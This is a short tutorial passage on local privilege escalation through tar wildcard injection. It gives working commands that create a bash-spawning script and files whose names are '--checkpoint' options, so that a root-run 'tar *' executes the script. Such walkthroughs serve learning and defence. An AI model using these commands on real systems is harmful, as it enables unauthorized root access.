Investigation
For example, below command can be executed as root.
Check If the File Contains Tar Command with Wildcards
We need to check the content in the file.
The above tar command means that it creates an arvhived file from any input file because it passes wildcard (*).
Exploitation
Now create a payload for privilege escalation.
cd /opt/backup
echo -e '#!/bin/bash\n/bin/bash' > shell.sh
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "" > --checkpoint=1
We've created three files.
Now execute "tar" command as root with wildcard.
Wait until "tar" command will be executed.After a while, we should see the current user switch to root.